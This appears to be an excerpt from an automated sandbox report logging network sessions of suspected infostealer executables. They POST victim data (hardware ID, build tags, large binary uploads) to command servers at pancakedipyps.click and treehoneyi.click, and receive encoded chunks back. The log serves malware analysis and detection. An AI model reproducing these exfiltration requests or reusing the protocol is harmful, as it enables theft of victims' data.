2024-12-20 03:12:26 UTC	888	IN	Data Raw: 59 51 49 5a 62 79 76 78 45 70 2f 47 6d 42 2f 66 45 4a 48 74 33 6e 33 31 70 70 73 79 73 79 49 59 79 6b 48 4c 59 43 4e 39 6c 72 46 78 31 4e 66 75 37 54 61 55 48 30 45 62 44 68 72 42 56 6e 34 65 66 4f 51 7a 53 2b 43 6a 73 5a 68 4d 6b 68 79 77 61 33 30 56 73 62 51 56 6b 62 2f 6f 5a 74 47 4d 67 31 71 66 7a 74 4d 57 50 6c 2f 39 70 62 51 4a 4d 6e 4c 67 33 51 68 41 53 65 4d 6a 65 6c 66 79 73 64 62 55 4c 57 30 32 6c 56 32 42 32 73 35 59 77 77 65 75 54 37 38 6a 6f 4a 30 67 75 4f 44 64 69 30 45 50 4d 4f 33 70 45 71 4c 33 52 74 51 73 2f 36 4e 48 33 6f 50 5a 54 78 6f 41 31 33 2f 64 65 6d 57 30 43 72 50 78 5a 52 67 4c 77 59 67 67 70 2f 75 57 38 50 48 55 6c 79 32 75 39 4a 62 4d 6b 51 6d 4f 48 74 4d 42 72 64 66 39 70 33 4f 4a 74 58 41 78 6e 6c 6b 45 57 71 47 67 61 51 4e Data Ascii: YQIZbyvxEp/GmB/fEJHt3n31ppsysyIYykHLYCN9lrFx1Nfu7TaUH0EbDhrBVn4efOQzS+CjsZhMkhywa30VsbQVkb/oZtGMg1qfztMWPl/9pbQJMnLg3QhASeMjelfysdbULW02lV2B2s5YwweuT78joJ0guODdi0EPMO3pEqL3RtQs/6NH3oPZTxoA13/demW0CrPxZRgLwYggp/uW8PHUly2u9JbMkQmOHtMBrdf9p3OJtXAxnlkEWqGgaQN
2024-12-20 03:12:26 UTC	1369	IN	Data Raw: 34 34 62 35 0d 0a 36 50 53 6d 50 67 2b 4e 44 68 64 73 56 54 76 2b 35 32 52 38 71 53 6d 6b 77 62 41 52 65 39 6e 72 32 6b 73 4d 68 7a 73 6d 46 61 69 59 41 4a 34 32 4a 36 31 33 4e 78 31 4e 46 73 62 44 54 57 58 49 50 4a 6e 45 6a 43 30 61 33 4a 72 75 79 7a 44 76 57 79 38 52 54 4b 51 59 6b 68 70 75 6b 53 6f 76 64 47 31 43 7a 2f 6f 30 66 66 41 64 74 4d 32 51 46 58 2f 52 2b 38 5a 6a 4e 4a 73 72 49 68 6d 73 72 41 79 4b 48 67 4f 39 61 79 73 4e 54 56 4c 4f 37 32 46 77 79 52 43 59 34 65 30 77 47 74 31 76 31 6c 64 4d 39 67 50 57 46 61 43 51 50 50 4d 47 53 71 6b 79 46 77 31 63 58 35 2f 37 66 57 48 55 4f 61 7a 56 67 43 46 72 36 63 66 4b 66 79 7a 37 49 7a 49 68 30 4a 77 49 76 6a 34 48 68 57 73 58 46 57 6c 6d 31 74 5a 55 52 4d 67 31 2b 66 7a 74 4d 63 66 70 75 36 5a 7a 4a Data Ascii: 44b56PSmPg+NDhdsVTv+52R8qSmkwbARe9nr2ksMhzsmFaiYAJ42J613Nx1NFsbDTWXIPJnEjC0a3JruyzDvWy8RTKQYkhpukSovdG1Cz/o0ffAdtM2QFX/R+8ZjNJsrIhmsrAyKHgO9aysNTVLO72FwyRCY4e0wGt1v1ldM9gPWFaCQPPMGSqkyFw1cX5/7fWHUOazVgCFr6cfKfyz7IzIh0JwIvj4HhWsXFWlm1tZURMg1+fztMcfpu6ZzJ
2024-12-20 03:12:26 UTC	1369	IN	Data Raw: 5a 68 4d 6b 68 79 77 61 4c 6e 51 38 2b 45 52 42 6d 6d 2f 74 4a 54 4d 6c 49 6d 4e 57 38 49 58 66 74 33 39 35 76 44 4b 4d 58 4e 67 6d 59 73 44 69 2b 41 68 75 78 5a 79 73 35 58 55 37 4f 33 30 31 4e 78 43 57 42 2f 4c 55 78 5a 37 7a 36 6a 31 75 4d 68 79 63 79 47 5a 54 73 50 61 73 2f 4e 36 6c 50 46 68 41 4e 42 72 36 6e 53 51 44 77 54 4a 6a 68 76 54 41 61 33 64 4f 6d 54 7a 43 6a 49 78 59 4a 71 49 41 67 76 6b 34 58 69 55 73 6e 4d 58 6c 69 35 75 39 68 59 65 51 6c 30 4c 57 41 49 55 50 73 2b 74 64 62 46 4e 49 4b 59 78 6b 4d 39 43 7a 71 48 6a 71 52 4b 69 39 30 62 55 4c 50 2b 6a 52 39 79 42 47 6f 30 5a 41 64 56 38 33 72 37 6d 38 6b 69 7a 4d 6d 4b 62 69 59 50 4f 49 79 49 37 46 2f 4d 77 56 64 61 76 4b 7a 57 58 6a 4a 45 4a 6a 68 37 54 41 61 33 57 63 69 68 34 57 7a 64 6a Data Ascii: ZhMkhywaLnQ8+ERBmm/tJTMlImNW8IXft395vDKMXNgmYsDi+AhuxZys5XU7O301NxCWB/LUxZ7z6j1uMhycyGZTsPas/N6lPFhANBr6nSQDwTJjhvTAa3dOmTzCjIxYJqIAgvk4XiUsnMXli5u9hYeQl0LWAIUPs+tdbFNIKYxkM9CzqHjqRKi90bULP+jR9yBGo0ZAdV83r7m8kizMmKbiYPOIyI7F/MwVdavKzWXjJEJjh7TAa3Wcih4Wzdj
2024-12-20 03:12:26 UTC	1369	IN	Data Raw: 51 61 74 6e 4e 79 46 62 4b 7a 78 74 49 38 61 65 56 57 48 35 4b 50 6e 39 6b 42 46 62 35 66 66 32 64 7a 69 44 44 79 59 42 6a 49 67 38 6c 68 6f 54 6a 56 63 50 57 58 46 71 32 76 74 35 57 65 41 35 6e 4e 43 4e 43 48 76 42 6d 75 38 36 43 48 73 58 57 6c 6d 56 71 46 32 53 59 7a 65 4e 5a 68 5a 77 62 57 71 32 2f 30 45 31 32 42 57 30 74 61 41 70 65 38 6d 7a 38 6d 73 67 6a 77 63 69 4c 5a 53 49 61 4b 6f 79 4e 39 6b 66 44 7a 31 55 58 38 66 37 53 52 7a 4a 53 4a 67 35 30 42 78 37 6f 4d 4f 4c 57 78 53 43 43 6d 4d 5a 6c 49 41 55 6b 6b 34 6e 69 58 73 62 4b 55 31 4b 33 75 74 39 53 66 51 46 73 4e 6d 73 4d 55 66 4a 32 38 4a 44 4d 4c 63 54 4d 69 79 5a 6b 53 43 32 5a 7a 62 77 56 34 74 35 57 55 61 69 76 34 46 68 79 57 79 59 67 4c 52 55 65 38 48 4b 37 7a 6f 49 68 7a 73 71 4c 59 79 Data Ascii: QatnNyFbKzxtI8aeVWH5KPn9kBFb5ff2dziDDyYBjIg8lhoTjVcPWXFq2vt5WeA5nNCNCHvBmu86CHsXWlmVqF2SYzeNZhZwbWq2/0E12BW0taApe8mz8msgjwciLZSIaKoyN9kfDz1UX8f7SRzJSJg50Bx7oMOLWxSCCmMZlIAUkk4niXsbKU1K3ut9SfQFsNmsMUfJ28JDMLcTMiyZkSC2ZzbwV4t5WUaiv4FhyWyYgLRUe8HK7zoIhzsqLYy
2024-12-20 03:12:26 UTC	1369	IN	Data Raw: 6b 71 70 4d 68 63 4e 58 46 2b 66 2b 32 31 4a 30 43 32 63 33 61 77 78 59 2f 58 72 34 6e 38 45 72 79 38 61 4e 5a 53 41 48 4c 59 65 4a 35 46 37 43 79 6c 31 53 74 4c 65 56 45 54 49 4e 66 6e 38 37 54 48 6a 55 62 4f 6d 6b 7a 43 2f 5a 67 4a 6b 6f 4d 30 67 74 6a 63 32 38 46 63 37 4d 56 45 57 36 74 39 31 62 65 77 70 69 4e 57 34 4c 58 76 4a 7a 2f 70 4c 4d 4b 4d 58 41 69 6d 6b 74 41 43 57 46 6a 65 73 56 69 34 52 63 54 2f 2f 6d 6c 58 39 35 48 45 63 78 61 42 34 65 36 44 44 69 31 73 55 67 67 70 6a 47 61 43 4d 4a 49 6f 2b 42 37 46 48 58 78 46 42 65 73 4c 2f 61 58 33 45 4c 62 44 64 78 43 6c 37 38 64 76 79 65 78 69 4c 51 77 59 6b 6d 5a 45 67 74 6d 63 32 38 46 66 54 53 58 46 43 77 2f 50 78 59 61 51 74 73 50 47 67 41 48 75 67 77 34 74 62 46 49 49 4b 59 78 6d 73 6d 42 53 36 Data Ascii: kqpMhcNXF+f+21J0C2c3awxY/Xr4n8Ery8aNZSAHLYeJ5F7Cyl1StLeVETINfn87THjUbOmkzC/ZgJkoM0gtjc28Fc7MVEW6t91bewpiNW4LXvJz/pLMKMXAimktACWFjesVi4RcT//mlX95HEcxaB4e6DDi1sUggpjGaCMJIo+B7FHXxFBesL/aX3ELbDdxCl78dvyexiLQwYkmZEgtmc28FfTSXFCw/PxYaQtsPGgAHugw4tbFIIKYxmsmBS6
2024-12-20 03:12:26 UTC	1369	IN	Data Raw: 73 6d 45 41 78 65 30 73 4e 42 65 66 67 42 68 4d 58 45 4e 56 50 74 2f 2f 4a 48 4a 50 73 6e 53 6a 57 34 70 42 69 4b 49 6a 65 70 56 78 4d 6c 62 46 2f 48 2b 30 6b 63 79 55 69 59 61 51 42 74 49 2f 54 7a 59 67 64 51 6d 78 63 79 51 62 53 73 4c 50 49 79 64 70 42 75 46 31 56 78 47 2f 2b 62 44 54 32 55 4e 65 58 46 36 54 46 6e 37 50 71 50 57 79 53 50 4d 7a 59 31 69 49 77 30 69 67 6f 6a 68 58 38 6e 49 57 6c 2b 32 74 4e 42 61 64 41 42 6c 4d 57 77 4e 55 76 4e 33 39 5a 2b 43 59 6f 4c 48 6e 69 5a 79 53 42 79 52 69 76 78 59 31 59 5a 70 56 4b 36 76 77 46 4a 69 44 43 51 51 59 41 42 64 38 6e 6e 72 31 74 31 69 32 34 43 42 61 6d 70 51 61 6f 47 4a 36 46 62 43 79 6c 52 61 73 4c 6e 65 55 48 67 45 64 44 42 6d 42 46 4c 2f 63 2b 6d 63 79 44 37 4c 79 59 74 6f 49 68 6f 70 77 63 4f 6b Data Ascii: smEAxe0sNBefgBhMXENVPt//JHJPsnSjW4pBiKIjepVxMlbF/H+0kcyUiYaQBtI/TzYgdQmxcyQbSsLPIydpBuF1VxG/+bDT2UNeXF6TFn7PqPWySPMzY1iIw0igojhX8nIWl+2tNBadABlMWwNUvN39Z+CYoLHniZySByRivxY1YZpVK6vwFJiDCQQYABd8nnr1t1i24CBampQaoGJ6FbCylRasLneUHgEdDBmBFL/c+mcyD7LyYtoIhopwcOk
2024-12-20 03:12:26 UTC	1369	IN	Data Raw: 5a 57 76 4c 43 58 62 6d 51 48 64 6a 78 6d 43 32 44 4a 63 50 79 43 78 53 4c 45 77 4d 59 6f 61 67 64 71 32 62 53 6b 48 59 58 37 46 52 65 6e 2f 6f 30 66 52 77 6c 6f 4d 57 51 61 54 37 70 64 37 49 44 49 4e 34 44 6d 67 58 63 6a 48 69 65 54 7a 61 6f 56 77 34 51 44 42 2f 48 2b 30 55 34 79 55 6a 5a 74 4f 46 6b 4e 6f 43 36 70 69 59 77 31 67 74 62 47 50 6e 68 47 61 70 50 4e 76 42 57 43 78 30 6c 46 75 62 33 44 58 44 55 30 57 42 39 6f 47 6c 2f 36 64 66 65 6f 2f 44 6e 42 7a 6f 68 68 50 42 6c 71 7a 38 33 72 46 5a 33 39 47 78 2f 2f 67 5a 73 66 61 6b 6f 2b 66 31 59 50 55 50 6c 35 37 59 65 50 44 4d 6e 57 68 32 73 68 42 47 69 41 67 50 52 53 68 59 6f 62 55 66 2f 6d 68 52 45 79 44 6e 64 2f 4f 31 77 4d 72 43 75 6f 77 5a 4a 2b 33 59 36 66 4a 6a 78 49 63 74 50 44 70 45 65 46 6e Data Ascii: ZWvLCXbmQHdjxmC2DJcPyCxSLEwMYoagdq2bSkHYX7FRen/o0fRwloMWQaT7pd7IDIN4DmgXcjHieTzaoVw4QDB/H+0U4yUjZtOFkNoC6piYw1gtbGPnhGapPNvBWCx0lFub3DXDU0WB9oGl/6dfeo/DnBzohhPBlqz83rFZ39Gx//gZsfako+f1YPUPl57YePDMnWh2shBGiAgPRShYobUf/mhREyDnd/O1wMrCuowZJ+3Y6fJjxIctPDpEeFn
2024-12-20 03:12:26 UTC	1369	IN	Data Raw: 76 6d 47 70 78 47 32 55 2f 61 45 77 51 74 33 69 37 7a 70 42 69 67 73 53 58 4a 6e 4a 59 65 4e 72 59 74 77 4b 56 6c 6b 51 5a 70 76 37 44 48 79 70 59 4b 48 39 78 54 41 61 33 4f 66 69 45 30 43 72 42 31 6f 55 68 46 44 59 4d 67 6f 72 69 56 73 76 54 53 68 57 51 76 64 35 54 66 67 31 77 41 56 30 5a 58 66 6c 77 2f 49 44 54 62 49 79 41 69 53 5a 79 4d 57 71 51 68 2b 4d 5a 6a 59 68 4b 52 4c 47 31 77 31 67 79 4e 53 68 2f 65 30 77 47 74 30 76 34 6d 4d 77 72 31 4e 48 4c 51 43 6b 50 4c 49 4b 44 38 30 53 46 69 68 74 52 2f 2b 61 48 45 54 49 4f 64 33 38 37 58 41 79 73 4b 36 6a 42 6b 6e 37 64 6a 70 38 6d 50 45 68 79 30 73 4f 6b 52 34 57 63 47 78 43 78 73 39 52 63 66 41 6c 30 4c 57 55 50 53 50 51 35 78 61 6a 6e 49 63 2f 46 69 47 45 55 4e 67 75 4c 6e 65 6c 61 77 76 70 6c 59 4b Data Ascii: vmGpxG2U/aEwQt3i7zpBigsSXJnJYeNrYtwKVlkQZpv7DHypYKH9xTAa3OfiE0CrB1oUhFDYMgoriVsvTShWQvd5Tfg1wAV0ZXflw/IDTbIyAiSZyMWqQh+MZjYhKRLG1w1gyNSh/e0wGt0v4mMwr1NHLQCkPLIKD80SFihtR/+aHETIOd387XAysK6jBkn7djp8mPEhy0sOkR4WcGxCxs9RcfAl0LWUPSPQ5xajnIc/FiGEUNguLnelawvplYK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49816	104.21.23.76	443	1028	C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 03:12:27 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RYH7B9XV0BTZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20400 Host: pancakedipyps.click
2024-12-20 03:12:27 UTC	15331	OUT	Data Raw: 2d 2d 52 59 48 37 42 39 58 56 30 42 54 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 36 45 34 45 39 35 30 42 41 37 35 34 46 44 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 52 59 48 37 42 39 58 56 30 42 54 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 52 59 48 37 42 39 58 56 30 42 54 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 52 59 48 37 42 39 58 56 30 42 54 5a 0d 0a 43 Data Ascii: --RYH7B9XV0BTZContent-Disposition: form-data; name="hwid"E6E4E950BA754FDDAC8923850305D13E--RYH7B9XV0BTZContent-Disposition: form-data; name="pid"3--RYH7B9XV0BTZContent-Disposition: form-data; name="lid"FATE99--test--RYH7B9XV0BTZC
2024-12-20 03:12:27 UTC	5069	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b Data Ascii: lrQMn 64F6(X&7~`aO
2024-12-20 03:12:28 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 03:12:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ashm25e2sva0r59hklirhjune0; expires=Mon, 14 Apr 2025 20:59:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zsnIo728sRAGykV87%2Bn9%2FnlzozNH4JqXuWS%2BRD0UHY8c%2B8zq1LGOiRcr5B9Z7lXUnnDgwgn%2FfPeuSGw0qhHgooUSXiaNYxfCbCQXFyBarLV820oRBWigs9BkLSjDGt8Fd9FCS5Lo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4c736e193972b9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1991&min_rtt=1973&rtt_var=776&sent=15&recv=26&lost=0&retrans=0&sent_bytes=2848&recv_bytes=21359&delivery_rate=1378008&cwnd=209&unsent_bytes=0&cid=d51e40cbc8e967b9&ts=950&x=0"
2024-12-20 03:12:28 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 03:12:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49829	104.21.23.76	443	1028	C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 03:12:31 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CZ5KO5247 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1216 Host: pancakedipyps.click
2024-12-20 03:12:31 UTC	1216	OUT	Data Raw: 2d 2d 43 5a 35 4b 4f 35 32 34 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 36 45 34 45 39 35 30 42 41 37 35 34 46 44 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 43 5a 35 4b 4f 35 32 34 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 43 5a 35 4b 4f 35 32 34 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 43 5a 35 4b 4f 35 32 34 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f Data Ascii: --CZ5KO5247Content-Disposition: form-data; name="hwid"E6E4E950BA754FDDAC8923850305D13E--CZ5KO5247Content-Disposition: form-data; name="pid"1--CZ5KO5247Content-Disposition: form-data; name="lid"FATE99--test--CZ5KO5247Content-Dispo
2024-12-20 03:12:31 UTC	1120	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 03:12:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rtvosdkr450parvhb26qijam7r; expires=Mon, 14 Apr 2025 20:59:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D11hysQJSAntMGFjFRmFchJtWe66x4R5I0MCIiEV2kGy31qAIyLvKdGP47HfFLFfOTWWFUm0lIpv7PNSkbylLYv2rC2UfHB7JpipWBS0pM8cYj4fjiX9Cmq55nNSZZ0z1ChRJZKZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4c7383fe6c1a38-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2002&min_rtt=1995&rtt_var=764&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=2127&delivery_rate=1418853&cwnd=220&unsent_bytes=0&cid=dd078e3a459f78f1&ts=790&x=0"
2024-12-20 03:12:31 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 03:12:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49830	104.21.91.209	443	6856	C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 03:12:31 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=73XCYCJCFV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18117 Host: treehoneyi.click
2024-12-20 03:12:31 UTC	15331	OUT	Data Raw: 2d 2d 37 33 58 43 59 43 4a 43 46 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 36 45 34 45 39 35 30 42 41 37 35 34 46 44 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 37 33 58 43 59 43 4a 43 46 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 37 33 58 43 59 43 4a 43 46 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 0d 0a 2d 2d 37 33 58 43 59 43 4a 43 46 56 0d 0a 43 6f 6e 74 65 6e Data Ascii: --73XCYCJCFVContent-Disposition: form-data; name="hwid"E6E4E950BA754FDDAC8923850305D13E--73XCYCJCFVContent-Disposition: form-data; name="pid"2--73XCYCJCFVContent-Disposition: form-data; name="lid"rAGxSF--Support--73XCYCJCFVConten
2024-12-20 03:12:31 UTC	2786	OUT	Data Raw: 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c ab a6 Data Ascii: .\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR
2024-12-20 03:12:32 UTC	1122	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 03:12:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3sr3ikq4gs160l2hlrtba2abg0; expires=Mon, 14 Apr 2025 20:59:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ObZDUNEn67%2B6stUfqfRTVZvnz967IUkYvXWFNy3zDQF1beAODYmZ9TW3rhJH5ht4NafmK7q4WU6FVLpt1qBhB6iRtC0fA6ujYz0DPiK4ncZaF2Ssh8YCjjDXikXVxUohyvMB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4c7383fa457cea-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1816&min_rtt=1801&rtt_var=706&sent=11&recv=22&lost=0&retrans=0&sent_bytes=2841&recv_bytes=19071&delivery_rate=1516095&cwnd=226&unsent_bytes=0&cid=1ba87ce3dcaa2dfd&ts=1266&x=0"
2024-12-20 03:12:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 03:12:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49839	104.21.23.76	443	1028	C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 03:12:33 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZT31H0N7RMYNK2B38 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 547109 Host: pancakedipyps.click
2024-12-20 03:12:33 UTC	15331	OUT	Data Raw: 2d 2d 5a 54 33 31 48 30 4e 37 52 4d 59 4e 4b 32 42 33 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 36 45 34 45 39 35 30 42 41 37 35 34 46 44 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 5a 54 33 31 48 30 4e 37 52 4d 59 4e 4b 32 42 33 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 5a 54 33 31 48 30 4e 37 52 4d 59 4e 4b 32 42 33 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d Data Ascii: --ZT31H0N7RMYNK2B38Content-Disposition: form-data; name="hwid"E6E4E950BA754FDDAC8923850305D13E--ZT31H0N7RMYNK2B38Content-Disposition: 